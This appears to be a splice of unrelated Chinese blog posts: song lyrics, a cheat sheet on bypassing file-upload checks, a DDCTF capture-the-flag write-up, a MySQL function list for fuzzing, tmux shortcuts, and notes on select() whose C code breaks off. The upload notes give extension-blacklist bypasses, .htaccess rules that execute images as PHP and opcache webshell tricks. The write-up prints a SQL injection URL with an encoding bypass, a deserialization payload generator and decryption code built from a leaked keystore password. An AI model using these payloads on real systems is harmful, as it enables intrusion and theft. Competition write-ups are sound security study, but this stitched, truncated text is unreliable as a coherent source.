你陪我步入蝉夏
越过城市喧嚣
歌声还在游走
你榴花般的双眸
不见你的温柔
丢失花间欢笑
岁月无法停留
流云的等候
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
你陪我步入蝉夏
越过城市喧嚣
歌声还在游走
你榴花般的双眸
不见你的温柔
丢失花间欢笑
岁月无法停留
流云的等候
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
我真的好想你
在每一个雨季
你选择遗忘的
是我最不舍的
纸短情长啊
道不尽太多涟漪
我的故事都是关于你呀
怎么会爱上了她
并决定跟她回家
放弃了我的所有我的一切无所谓
纸短情长啊
诉不完当时年少
我的故事还是关于你呀
我的故事还是关于你呀
文件上传漏洞的总结
防御文件上传的一些思路
- 客户端javascript校验(通常校验扩展名)
- 检查文件扩展名
- 检查MIME类型
- 随机文件名
- 隐藏路径
- 重写内容(影响效率)imagecreatefromjpeg…
- 检查内容是否合法
绕过技巧
- $_FILES[‘file’][‘type’]:burp抓包可修改
- 内容检查:
<script language=“php”></script>
- 文件名拓展检查:黑名单绕过 ○ Php3 php5 phtml PPHP pHp phtm inc ○ Jsp jspx jspf ○ Asp asa cer aspx ○ Exe exee ○ 后缀名加空格 ○ 00截断 ○ 双重后缀名绕过
- 常配合文件包含漏洞达到特殊效果
- 通过比较gd函数处理前后的文件找到不产生变化的区块写入特殊的payloadhttp://www.freebuf.com/articles/web/54086.html
- phpinfo+lfi
- htaccess攻击
- AddType application/x-httpd-php .jpg
<FilesMatch "95zz.gif">
SetHandler application/x-httpd-php
</FilesMatch>
- opcache文件getshell(利用phpinfo获得缓存目录后上传shell)https://www.exehack.net/3272.html
- 如果内存缓存的优先级高于文件缓存,那么重写opcache文件并不会执行我们的webshell
- 开启了validate_timestamp的绕过:
- Wordpress某些文件时间戳一样
- opcache-override
- 文件头检测方法:将木马后缀到文件末(常见的是通过getimagesize()函数)
- file_put_contents 数组绕过
- 当代码中存在spl_autoload_register()函数时可以上传.inc文件(laravel、composer中常用)(湖湘杯)
- spl_autoload_register()函数使用后将会自动调用inc文件
move_uploaded_file() 名称可控时可上传至任意位置,aaaa/../index.php/.绕过后缀名检测
上传模板文件
- 上传绕过 parse_url函数可以通过多个斜杠来绕过
DDCTF writeup
Misc
签到题
公告
(╯°□°)╯︵ ┻━┻
将字符串base64解码后再凯撒移位即可获得flag.
第四扩展fs
binwalk 可从图片中获得一个压缩包,图片右击属性里面详细信息-备注可获得压缩包密码为Pactera,解压压缩包后获得一个文本文件,复制内容进行字频统计即可获得flag在线字词频率统计
流量分析
协议分级,看到有ftp协议、stmp协议,stmp协议中有一个base64后的图片,提取该图片并解码可以发现一串字符串,经题目提示可知为一个私钥文件,用ocr软件提取后并修改错误补全格式,wireshark中导入即可看到最后的部分解密出一个http封包,内容中可以获得flag。
安全通信
利用aes_ecb分组加密的特点,而且generate_hello中的message长度可控,所以可以按位爆破flag. poc:
1 | import socket |
WEB
数据库的秘密
盲注,里面的js加密算法懒得看所以直接用nodejs编写盲注脚本,导入网页中引入的math.js用于加密,脚本如下:
1 | var http=require('http'); |
专属链接
文件包含漏洞,而且通过报错界面可获得类名称,因此可以获得.class文件,这里贴一下获得的一些比较重要的源码:
InitListener.java
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name: InitListener.java
package com.didichuxing.ctf.listener;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.*;
import java.security.*;
import java.security.cert.CertificateException;
import java.util.Properties;
import java.util.UUID;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletContext;
import org.apache.commons.io.FileUtils;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.context.*;
import org.springframework.web.context.WebApplicationContext;
public class InitListener
implements ApplicationListener, InitializingBean
{
public InitListener()
{
properties = new Properties();
}
public void afterPropertiesSet()
throws Exception
{
System.out.println("afterPropertiesSet");
try
{
java.io.InputStream inputStream = getClass().getClassLoader().getResourceAsStream("/properties/conf.properties");
properties.load(inputStream);
}
catch(Exception e)
{
e.printStackTrace();
}
p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
}
public void onApplicationEvent(ApplicationEvent event)
{
if(!(event.getSource() instanceof ApplicationContext))
return;
WebApplicationContext ctx = (WebApplicationContext)event.getSource();
if(ctx.getParent() != null)
return;
String regenflag = properties.getProperty("regenflag");
if(regenflag != null && "false".equals(regenflag))
{
System.out.println("skip gen flag");
return;
}
try
{
flagService.deleteAll();
int id = 1;
String path = ctx.getServletContext().getRealPath("/WEB-INF/classes/emails.txt");
String ksPath = ctx.getServletContext().getRealPath("/WEB-INF/classes/sdl.ks");
System.out.println(path);
String emailsString = FileUtils.readFileToString(new File(path), "utf-8");
String emails[] = emailsString.trim().split("\n");
KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream inputStream = new FileInputStream(ksPath);
keyStore.load(inputStream, p.toCharArray());
Key key = keyStore.getKey("www.didichuxing.com", p.toCharArray());
Cipher cipher = Cipher.getInstance(key.getAlgorithm());
cipher.init(1, key);
SecretKeySpec signingKey = new SecretKeySpec("sdl welcome you !".getBytes(), "HmacSHA256");
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(signingKey);
SecureRandom sr = new SecureRandom();
String as[] = emails;
int i = as.length;
for(int j = 0; j < i; j++)
{
String email = as[j];
String flag = (new StringBuilder()).append("DDCTF{").append(Math.abs(sr.nextLong())).append("}").toString();
String uuid = UUID.randomUUID().toString().replace("-", "s");
byte data[] = cipher.doFinal(flag.getBytes());
byte e[] = mac.doFinal(String.valueOf(email.trim()).getBytes());
Flag flago = new Flag();
flago.setId(Integer.valueOf(id));
flago.setFlag(byte2hex(data));
flago.setEmail(byte2hex(e));
flago.setOriginFlag(flag);
flago.setUuid(uuid);
flago.setOriginEmail(email);
flagService.save(flago);
System.out.println((new StringBuilder()).append(email).append("\u540C\u5B66\u7684\u5165\u53E3\u94FE\u63A5\u4E3A\uFF1Ahttp://116.85.48.102:5050/welcom/").append(uuid).toString());
id++;
System.out.println(flago);
}
}
catch(KeyStoreException e)
{
e.printStackTrace();
}
catch(IOException e)
{
e.printStackTrace();
}
catch(NoSuchAlgorithmException e)
{
e.printStackTrace();
}
catch(CertificateException e)
{
e.printStackTrace();
}
catch(UnrecoverableKeyException e)
{
e.printStackTrace();
}
catch(NoSuchPaddingException e)
{
e.printStackTrace();
}
catch(InvalidKeyException e)
{
e.printStackTrace();
}
catch(IllegalBlockSizeException e)
{
e.printStackTrace();
}
catch(BadPaddingException e)
{
e.printStackTrace();
}
}
public static String byte2hex(byte b[])
{
StringBuilder hs = new StringBuilder();
for(int n = 0; b != null && n < b.length; n++)
{
String stmp = Integer.toHexString(b[n] & 0xff);
if(stmp.length() == 1)
hs.append('0');
hs.append(stmp);
}
return hs.toString().toUpperCase();
}
final String k = "sdl welcome you !";
private FlagService flagService;
private Properties properties;
private String p;
}
FlagController.java
package com.didichuxing.ctf.controller.user;
import com.didichuxing.ctf.model.Flag;
import com.didichuxing.ctf.service.FlagService;
import java.io.PrintStream;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@RequestMapping({"flag"})
public class FlagController
{
@Autowired
private FlagService flagService;
public FlagController() {}
@RequestMapping(value={"/getflag/{email:[0-9a-zA-Z']+}"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String getFlag(@PathVariable("email") String email, ModelMap model)
{
Flag flag = flagService.getFlagByEmail(email);
return "Encrypted flag : " + flag.getFlag();
}
@RequestMapping({"/testflag/{flag}"})
public String submitFlag(@PathVariable("flag") String flag, ModelMap model)
{
String[] fs = flag.split("[{}]");
Long longFlag = Long.valueOf(fs[1]);
int i = flagService.exist(flag);
if (i > 0) {
return "pass!!!";
}
return "failed!!!";
}
private void init()
{
System.out.println("test");
}
}
可以看到在数据库中保存了SHA256后的email和RSA加密后的flag,而FlagController提供了利用加密后的email获取加密后的flag的接口。猜测这里的email为主页上联系方式处的email:**8071103253958342134@didichuxing.com**。将email加密后获取到flag,使用以下java代码来解密:
package com.company;
import javax.crypto.Cipher;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.security.*;
import java.security.cert.Certificate;
public class Main {
public static void main(String[] args) {
// write your code here
try {
FileInputStream str = new FileInputStream(new File("/tmp/xxx.xx"));
String p = "sdl welcome you !".substring(0, "sdl welcome you !".length() - 1).trim().replace(" ", "");
KeyStore keystore=KeyStore.getInstance(KeyStore.getDefaultType());
FileInputStream input=new FileInputStream("/tmp/sdl.ks");
keystore.load(input,p.toCharArray());
Key key=keystore.getKey("www.didichuxing.com", p.toCharArray());
Certificate cert=keystore.getCertificate("www.didichuxing.com");
PublicKey publicKey=cert.getPublicKey();
Cipher cipher=Cipher.getInstance(key.getAlgorithm());
System.out.println(Cipher.DECRYPT_MODE);
System.out.println(Cipher.ENCRYPT_MODE);
cipher.init(Cipher.DECRYPT_MODE,publicKey);
byte m[]=str.readAllBytes();
System.out.println(m);
byte data[]=cipher.doFinal(m);
System.out.println(new String(data));
}
catch(Exception e){
e.printStackTrace();
}
}
}
其中 /tmp/sdl.ks是通过文件包含漏洞读取到的ketstore文件,包含公钥与私钥信息,/tmp/xxx.xx保存加密后的flag. 解密后获得flag.
注入的奥妙
首先是sql注入,页面提示后端数据库的编码是big5编码,因此从big5编码表中找到5c结尾的汉字即可绕过add_slashes;其中关键字过滤可以用双写来绕过,最终的获取route_rules表的内容的payload为:
http://116.85.48.105:5033/5d71b644-ee63-4b11-9c13-da3c4ac35b8d/well/getmessage/1%E5%85%9D'%20and%200%20uniounionn%20select%20pattern,action,rulepass%20%20from%20route_rules%23
中间暴库时需要转换编码 convert(xxx using big5)
获取到路由规则表的内容:
action | pattern | type | |
---|---|---|---|
get*/ | u/well/getmessage/ | s | |
get*/ | u/justtry/self/ | s | |
post*/ | u/justtry/try | JustTry#try | |
static/bootstrap/css/backup.css | static/bootstrap/css/backup.zip |
访问static/boostrap/css/backup.css,可获取网页的所有源码,可以看到justtry/try处为反序列化,可以利用这里的反序列化反序列化test类即可获取flag. 生成反序列化脚本的payload为:
<?php
namespace Index\Helper;
class Flag{
public $sql;
}
class Test{
public $user_uuid;
public $fl;
}
class SQL{
public $dbc;
public $pdo;
}
$fl=new Flag;
$fl->sql=new SQL;
$test=new Test;
$test->user_uuid="c38639ed-2d7f-41bd-a412-4c489de8102e";
$test->fl=$fl;
print_r(serialize($test));
mini-blockchain
解题思路:利用create_transaction在头区块后生成一条更长的链覆盖原来的链从而覆盖给黑客的交易记录,然后再利用backdoor给超市转10000,获得一个diamound;然后再将现在这条链覆盖,再利用backdoor给超市转10000,又可以获得一个flag. 添加新区块需要满足新区块的hash少于DIFFICULTY,这里使用所有数字组合来爆破。插入的区块中transaction数组为空,意味着不包含任何交易记录,这样既可避免获取私钥。 爆破新区块的脚本为:
def deal(head):
global session
print session
DIFFICULTY = int('00000' + 'f' * 59, 16)
print DIFFICULTY
i=0
while True:
transferred = create_tx([], [])
#print head
new_block = create_block(str(head), str(i), [])
#print new_block
if int(new_block['hash'],16)<DIFFICULTY:
print json.dumps(new_block)
i=i+1
#print new_block
#print "hash",int(new_block['hash'],16)
deal(sys.argv[1])
每次运行将想要插入的位置的hash作为参数,即可生成一个没有交易的空区块,当新生成的链长度大于原有链长度即可覆盖原有的链。
mysql中的所有函数汇总(Fuzz用)
[u'ABS()', u'ACOS()', u'ADDDATE()', u'ADDTIME()', u'AES_DECRYPT()', u'AES_ENCRYPT()', u'AND, &&', u'Area()', u'AsBinary(), AsWKB()', u'ASCII()', u'ASIN()', u'=', u':=', u'AsText(), AsWKT()', u'ATAN()', u'ATAN2(), ATAN()', u'AVG()', u'BENCHMARK()', u'BETWEEN ... AND ...', u'BIN()', u'BINARY', u'BIT_AND()', u'BIT_COUNT()', u'BIT_LENGTH()', u'BIT_OR()', u'BIT_XOR()', u'&', u'~', u'|', u'^', u'CASE', u'CAST()', u'CEIL()', u'CEILING()', u'Centroid()', u'CHAR()', u'CHAR_LENGTH()', u'CHARACTER_LENGTH()', u'CHARSET()', u'COALESCE()', u'COERCIBILITY()', u'COLLATION()', u'COMPRESS()', u'CONCAT()', u'CONCAT_WS()', u'CONNECTION_ID()', u'Contains()', u'CONV()', u'CONVERT()', u'CONVERT_TZ()', u'COS()', u'COT()', u'COUNT()', u'COUNT(DISTINCT)', u'CRC32()', u'Crosses()', u'CURDATE()', u'CURRENT_DATE(), CURRENT_DATE', u'CURRENT_TIME(), CURRENT_TIME', u'CURRENT_TIMESTAMP(), CURRENT_TIMESTAMP', u'CURRENT_USER(), CURRENT_USER', u'CURTIME()', u'DATABASE()', u'DATE()', u'DATE_ADD()', u'DATE_FORMAT()', u'DATE_SUB()', u'DATEDIFF()', u'DAY()', u'DAYNAME()', u'DAYOFMONTH()', u'DAYOFWEEK()', u'DAYOFYEAR()', u'DECODE()', u'DEFAULT()', u'DEGREES()', u'DES_DECRYPT()', u'DES_ENCRYPT()', u'Dimension()', u'Disjoint()', u'DIV', u'/', u'ELT()', u'ENCODE()', u'ENCRYPT()', u'EndPoint()', u'Envelope()', u'=', u'<=>', u'Equals()', u'EXP()', u'EXPORT_SET()', u'ExteriorRing()', u'EXTRACT()', u'ExtractValue()', u'FIELD()', u'FIND_IN_SET()', u'FLOOR()', u'FORMAT()', u'FOUND_ROWS()', u'FROM_DAYS()', u'FROM_UNIXTIME()', u'GeomCollFromText(), GeometryCollectionFromText()', u'GeomCollFromWKB(), GeometryCollectionFromWKB()', u'GeometryCollection()', u'GeometryN()', u'GeometryType()', u'GeomFromText(), GeometryFromText()', u'GeomFromWKB(), GeometryFromWKB()', u'GET_FORMAT()', u'GET_LOCK()', u'GLength()', u'>', u'>=', u'GREATEST()', u'GROUP_CONCAT()', u'HEX()', u'HOUR()', u'IF()', u'IFNULL()', u'IN()', u'INET_ATON()', u'INET_NTOA()', u'INSERT()', u'INSTR()', u'InteriorRingN()', u'Intersects()', u'INTERVAL()', u'IS', u'IS_FREE_LOCK()', u'IS NOT', u'IS NOT NULL', u'IS NULL', u'IS_USED_LOCK()', u'IsClosed()', u'IsEmpty()', u'ISNULL()', u'IsSimple()', u'LAST_DAY', u'LAST_INSERT_ID()', u'LCASE()', u'LEAST()', u'LEFT()', u'<<', u'LENGTH()', u'<', u'<=', u'LIKE', u'LineFromText(), LineStringFromText()', u'LineFromWKB(), LineStringFromWKB()', u'LineString()', u'LN()', u'LOAD_FILE()', u'LOCALTIME(), LOCALTIME', u'LOCALTIMESTAMP, LOCALTIMESTAMP()', u'LOCATE()', u'LOG()', u'LOG10()', u'LOG2()', u'LOWER()', u'LPAD()', u'LTRIM()', u'MAKE_SET()', u'MAKEDATE()', u'MAKETIME()', u'MASTER_POS_WAIT()', u'MATCH', u'MAX()', u'MBRContains()', u'MBRDisjoint()', u'MBREqual()', u'MBRIntersects()', u'MBROverlaps()', u'MBRTouches()', u'MBRWithin()', u'MD5()', u'MICROSECOND()', u'MID()', u'MIN()', u'-', u'MINUTE()', u'MLineFromText(), MultiLineStringFromText()', u'MLineFromWKB(), MultiLineStringFromWKB()', u'MOD()', u'%, MOD', u'MONTH()', u'MONTHNAME()', u'MPointFromText(), MultiPointFromText()', u'MPointFromWKB(), MultiPointFromWKB()', u'MPolyFromText(), MultiPolygonFromText()', u'MPolyFromWKB(), MultiPolygonFromWKB()', u'MultiLineString()', u'MultiPoint()', u'MultiPolygon()', u'NAME_CONST()', u'NOT, !', u'NOT BETWEEN ... AND ...', u'!=, <>', u'NOT IN()', u'NOT LIKE', u'NOT REGEXP', u'NOW()', u'NULLIF()', u'NumGeometries()', u'NumInteriorRings()', u'NumPoints()', u'OCT()', u'OCTET_LENGTH()', u'OLD_PASSWORD()', u'||, OR', u'ORD()', u'Overlaps()', u'PASSWORD()', u'PERIOD_ADD()', u'PERIOD_DIFF()', u'PI()', u'+', u'Point()', u'PointFromText()', u'PointFromWKB()', u'PointN()', u'PolyFromText(), PolygonFromText()', u'PolyFromWKB(), PolygonFromWKB()', u'Polygon()', u'POSITION()', u'POW()', u'POWER()', u'PROCEDURE ANALYSE()', u'QUARTER()', u'QUOTE()', u'RADIANS()', u'RAND()', u'REGEXP', u'RELEASE_LOCK()', u'REPEAT()', u'REPLACE()', u'REVERSE()', u'RIGHT()', u'>>', u'RLIKE', u'ROUND()', u'ROW_COUNT()', u'RPAD()', u'RTRIM()', u'SCHEMA()', u'SEC_TO_TIME()', u'SECOND()', u'SESSION_USER()', u'SHA1(), SHA()', u'SHA2()', u'SIGN()', u'SIN()', u'SLEEP()', u'SOUNDEX()', u'SOUNDS LIKE', u'SPACE()', u'SQRT()', u'SRID()', u'StartPoint()', u'STD()', u'STDDEV()', u'STDDEV_POP()', u'STDDEV_SAMP()', u'STR_TO_DATE()', u'STRCMP()', u'SUBDATE()', u'SUBSTR()', u'SUBSTRING()', u'SUBSTRING_INDEX()', u'SUBTIME()', u'SUM()', u'SYSDATE()', u'SYSTEM_USER()', u'TAN()', u'TIME()', u'TIME_FORMAT()', u'TIME_TO_SEC()', u'TIMEDIFF()', u'*', u'TIMESTAMP()', u'TIMESTAMPADD()', u'TIMESTAMPDIFF()', u'TO_DAYS()', u'TO_SECONDS()', u'Touches()', u'TRIM()', u'TRUNCATE()', u'UCASE()', u'-', u'UNCOMPRESS()', u'UNCOMPRESSED_LENGTH()', u'UNHEX()', u'UNIX_TIMESTAMP()', u'UpdateXML()', u'UPPER()', u'USER()', u'UTC_DATE()', u'UTC_TIME()', u'UTC_TIMESTAMP()', u'UUID()', u'UUID_SHORT()', u'VALUES()', u'VAR_POP()', u'VAR_SAMP()', u'VARIANCE()', u'VERSION()', u'WEEK()', u'WEEKDAY()', u'WEEKOFYEAR()', u'Within()', u'X()', u'XOR', u'Y()', u'YEAR()', u'YEARWEEK()']
ABS()
ACOS()
ADDDATE()
ADDTIME()
AES_DECRYPT()
AES_ENCRYPT()
AND, &&
Area()
AsBinary(), AsWKB()
ASCII()
ASIN()
=
:=
AsText(), AsWKT()
ATAN()
ATAN2(), ATAN()
AVG()
BENCHMARK()
BETWEEN ... AND ...
BIN()
BINARY
BIT_AND()
BIT_COUNT()
BIT_LENGTH()
BIT_OR()
BIT_XOR()
&
~
|
^
CASE
CAST()
CEIL()
CEILING()
Centroid()
CHAR()
CHAR_LENGTH()
CHARACTER_LENGTH()
CHARSET()
COALESCE()
COERCIBILITY()
COLLATION()
COMPRESS()
CONCAT()
CONCAT_WS()
CONNECTION_ID()
Contains()
CONV()
CONVERT()
CONVERT_TZ()
COS()
COT()
COUNT()
COUNT(DISTINCT)
CRC32()
Crosses()
CURDATE()
CURRENT_DATE(), CURRENT_DATE
CURRENT_TIME(), CURRENT_TIME
CURRENT_TIMESTAMP(), CURRENT_TIMESTAMP
CURRENT_USER(), CURRENT_USER
CURTIME()
DATABASE()
DATE()
DATE_ADD()
DATE_FORMAT()
DATE_SUB()
DATEDIFF()
DAY()
DAYNAME()
DAYOFMONTH()
DAYOFWEEK()
DAYOFYEAR()
DECODE()
DEFAULT()
DEGREES()
DES_DECRYPT()
DES_ENCRYPT()
Dimension()
Disjoint()
DIV
/
ELT()
ENCODE()
ENCRYPT()
EndPoint()
Envelope()
=
<=>
Equals()
EXP()
EXPORT_SET()
ExteriorRing()
EXTRACT()
ExtractValue()
FIELD()
FIND_IN_SET()
FLOOR()
FORMAT()
FOUND_ROWS()
FROM_DAYS()
FROM_UNIXTIME()
GeomCollFromText(), GeometryCollectionFromText()
GeomCollFromWKB(), GeometryCollectionFromWKB()
GeometryCollection()
GeometryN()
GeometryType()
GeomFromText(), GeometryFromText()
GeomFromWKB(), GeometryFromWKB()
GET_FORMAT()
GET_LOCK()
GLength()
>
>=
GREATEST()
GROUP_CONCAT()
HEX()
HOUR()
IF()
IFNULL()
IN()
INET_ATON()
INET_NTOA()
INSERT()
INSTR()
InteriorRingN()
Intersects()
INTERVAL()
IS
IS_FREE_LOCK()
IS NOT
IS NOT NULL
IS NULL
IS_USED_LOCK()
IsClosed()
IsEmpty()
ISNULL()
IsSimple()
LAST_DAY
LAST_INSERT_ID()
LCASE()
LEAST()
LEFT()
<<
LENGTH()
<
<=
LIKE
LineFromText(), LineStringFromText()
LineFromWKB(), LineStringFromWKB()
LineString()
LN()
LOAD_FILE()
LOCALTIME(), LOCALTIME
LOCALTIMESTAMP, LOCALTIMESTAMP()
LOCATE()
LOG()
LOG10()
LOG2()
LOWER()
LPAD()
LTRIM()
MAKE_SET()
MAKEDATE()
MAKETIME()
MASTER_POS_WAIT()
MATCH
MAX()
MBRContains()
MBRDisjoint()
MBREqual()
MBRIntersects()
MBROverlaps()
MBRTouches()
MBRWithin()
MD5()
MICROSECOND()
MID()
MIN()
-
MINUTE()
MLineFromText(), MultiLineStringFromText()
MLineFromWKB(), MultiLineStringFromWKB()
MOD()
%, MOD
MONTH()
MONTHNAME()
MPointFromText(), MultiPointFromText()
MPointFromWKB(), MultiPointFromWKB()
MPolyFromText(), MultiPolygonFromText()
MPolyFromWKB(), MultiPolygonFromWKB()
MultiLineString()
MultiPoint()
MultiPolygon()
NAME_CONST()
NOT, !
NOT BETWEEN ... AND ...
!=, <>
NOT IN()
NOT LIKE
NOT REGEXP
NOW()
NULLIF()
NumGeometries()
NumInteriorRings()
NumPoints()
OCT()
OCTET_LENGTH()
OLD_PASSWORD()
||, OR
ORD()
Overlaps()
PASSWORD()
PERIOD_ADD()
PERIOD_DIFF()
PI()
+
Point()
PointFromText()
PointFromWKB()
PointN()
PolyFromText(), PolygonFromText()
PolyFromWKB(), PolygonFromWKB()
Polygon()
POSITION()
POW()
POWER()
PROCEDURE ANALYSE()
QUARTER()
QUOTE()
RADIANS()
RAND()
REGEXP
RELEASE_LOCK()
REPEAT()
REPLACE()
REVERSE()
RIGHT()
>>
RLIKE
ROUND()
ROW_COUNT()
RPAD()
RTRIM()
SCHEMA()
SEC_TO_TIME()
SECOND()
SESSION_USER()
SHA1(), SHA()
SHA2()
SIGN()
SIN()
SLEEP()
SOUNDEX()
SOUNDS LIKE
SPACE()
SQRT()
SRID()
StartPoint()
STD()
STDDEV()
STDDEV_POP()
STDDEV_SAMP()
STR_TO_DATE()
STRCMP()
SUBDATE()
SUBSTR()
SUBSTRING()
SUBSTRING_INDEX()
SUBTIME()
SUM()
SYSDATE()
SYSTEM_USER()
TAN()
TIME()
TIME_FORMAT()
TIME_TO_SEC()
TIMEDIFF()
*
TIMESTAMP()
TIMESTAMPADD()
TIMESTAMPDIFF()
TO_DAYS()
TO_SECONDS()
Touches()
TRIM()
TRUNCATE()
UCASE()
-
UNCOMPRESS()
UNCOMPRESSED_LENGTH()
UNHEX()
UNIX_TIMESTAMP()
UpdateXML()
UPPER()
USER()
UTC_DATE()
UTC_TIME()
UTC_TIMESTAMP()
UUID()
UUID_SHORT()
VALUES()
VAR_POP()
VAR_SAMP()
VARIANCE()
VERSION()
WEEK()
WEEKDAY()
WEEKOFYEAR()
Within()
X()
XOR
Y()
YEAR()
YEARWEEK()
春夏秋冬的你
那年春天 我迷失在梦里 那年夏天 像她一样恬静 那年秋天的风 映入慌乱的耳际 那年冬天 身边缺了你 如果春天 梦里面没有你 如果夏天 街角遇不见你 就算秋天的风 带你回不到这里 我的心 就像 冰冷的冬季 春夏秋冬失去了你 我怎么过一年四季 漫无目的地胡言乱语 让我独白出谁的回忆 春夏秋冬放开了你 你让我怎么平静 你的话就像 秋风无情 那年春天 我迷失在梦里 那年夏天 像她一样恬静 那年秋天的风 映入慌乱的耳际 那年冬天 身边缺了你 如果春天 梦里面没有你 如果夏天 街角遇不见你 就算秋天的风 带你回不到这里 我的心 就像 冰冷的冬季 春夏秋冬失去了你 我怎么过一年四季 漫无目的地胡言乱语 让我独白出谁的回忆 春夏秋冬放开了你 你让我怎么平静 你的话就像 秋风无情 春夏秋冬失去了你 我怎么过一年四季 漫无目的地胡言乱语 让我独白出谁的回忆 春夏秋冬放开了你 你让我怎么平静 你的话就像 秋风无情 怎么去寻找 春天的轨迹 看着大雁 一起回归远方 心中想着 伴随 你的姑娘 看着落叶飘落 回到家乡的彷徨 保持着 习惯的想象
tmux快捷键记录
进入tmux面板后,一定要先按ctrl+b,然后松开,再按其他的组合键才生效。
常用到的几个组合键:
- ctrl+b ? 显示快捷键帮助
- ctrl+b 空格键 采用下一个内置布局,这个很有意思,在多屏时,用这个就会将多有屏幕竖着展示
- ctrl+b ! 把当前窗口变为新窗口
- ctrl+b “ 模向分隔窗口
- ctrl+b % 纵向分隔窗口
- ctrl+b q 显示分隔窗口的编号
- ctrl+b o 跳到下一个分隔窗口。多屏之间的切换
- ctrl+b 上下键 上一个及下一个分隔窗口
- ctrl+b C-方向键 调整分隔窗口大小
- ctrl+b & 确认后退出当前tmux
- ctrl+b [ 复制模式,即将当前屏幕移到上一个的位置上,其他所有窗口都向前移动一个。
- ctrl+b c 创建新窗口
- ctrl+b n 选择下一个窗口
- ctrl+b l 最后使用的窗口
- ctrl+b p 选择前一个窗口
- ctrl+b w 以菜单方式显示及选择窗口
- ctrl+b s 以菜单方式显示和选择会话。这个常用到,可以选择进入哪个tmux
- ctrl+b t 显示时钟。然后按enter键后就会恢复到shell终端状态
- ctrl+b d 脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话
对select()的理解
断断续续的看Beej’s Guide to Network Programming这本小册子,最近看了select函数的用法,感觉这个函数挺有用而且听特殊,理解上有点儿难度,因此记录下来关于这个函数的一些东西.
函数定义
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int select(int numfds, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout);
fd_set
这里的fd_set类型相当于一个file descriptor的集合.
当select()函数返回时,readfs中只含有可以读的file descriptor.writefs包含可写的descriptor,exceptfds包含出错的file descriptor .(此三个参数不必都有) fd_set有一些列的操作函数:
FD_SET(int fd, fd_set *set); //Add fd to the set .
FD_CLR(int fd, fd_set *set); //Remove fd from the set .
FD_ISSET(int fd, fd_set *set); //Return true if fd is in the set .
FD_ZERO(fd_set *set); //Clear all entries from the set .
timeval
结构体
struct timeval {
int tv_sec; //seconds
int tv_usec;// microseconds
};
此结构体表示select函数的超时时间.设置为NULL则永远等待. 此函数使用时,numfds应设置为最高的file descriptor的值.
返回值
返回set中最后剩下的的数目.0表示超时,-1表示出错.
此函数如何使用的理解
我们可以在开始的时候使用FD_SET
将我们创建的服务端套接字描述符填入一个fd_set中,然后把这个fd_set复制一下传如select的readfds参数中然后用select监听,select有返回值后则遍历所有descriptors
- 如果这个descriptor在这个新的readfds中(
FD_ISSET
)则说明可以read- 如果这个descriptor正好是我们最初的那个服务端套接字
- 则可以进行accept操作,然后将读到的这个socksetfd就可以传入我们的fd_set中,判断这个socketfd是否比原有的最大的socketfd大,大则替换
select()
函数的第一个参数为这个新的socketfd+1.
- 则可以进行accept操作,然后将读到的这个socksetfd就可以传入我们的fd_set中,判断这个socketfd是否比原有的最大的socketfd大,大则替换
- 如果这个descriptor不是最初的那个服务端套接字
- 则说明是与某个主机的一个连接,则可以调用这个套接字的
recv()
方法接收数据,如果返回0说明这个套接字已经断开,可调用FD_CLR
将其从最初的fd_set中清除出去.否则则进行其他的一些列操作.
- 则说明是与某个主机的一个连接,则可以调用这个套接字的
- 如果这个descriptor正好是我们最初的那个服务端套接字
一个简单的demo
/*
** ChatServer.cpp - a practise on select()
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT "3456"
#define STDIN 0
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in *)sa)->sin_addr);
}
else
return &(((struct sockaddr_in6 *)sa)->sin6_addr);
}
int main(void)
{
fd_set master;
fd_set read_fds;
int fd_max;
int listener;
int newfd;
struct sockaddr_storage remoteaddr;
socklen_t addrlen;
char buf[256];
char mess[256];
int nbytes;
char remoteIP[INET6_ADDRSTRLEN];
int yes = 1;
int i, j, rv;
struct addrinfo hints, *ai, *p;
FD_ZERO(&master);
FD_ZERO(&read_fds);
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
if ((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
{
fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
exit(1);
}
for (p = ai; p != NULL; p = p->ai_next)
{
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if (listener < 0)
{
continue;
}
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
if (bind(listener, p->ai_addr, p->ai_addrlen) < 0)
{
close(listener);
continue;
}
break;
}
if (p == NULL)
{
fprintf(stderr, "selectserver: failed to bind\n");
exit(2);
}
freeaddrinfo(ai);
if (listen(listener, 10) == -1)
{
perror("listen");
exit(3);
}
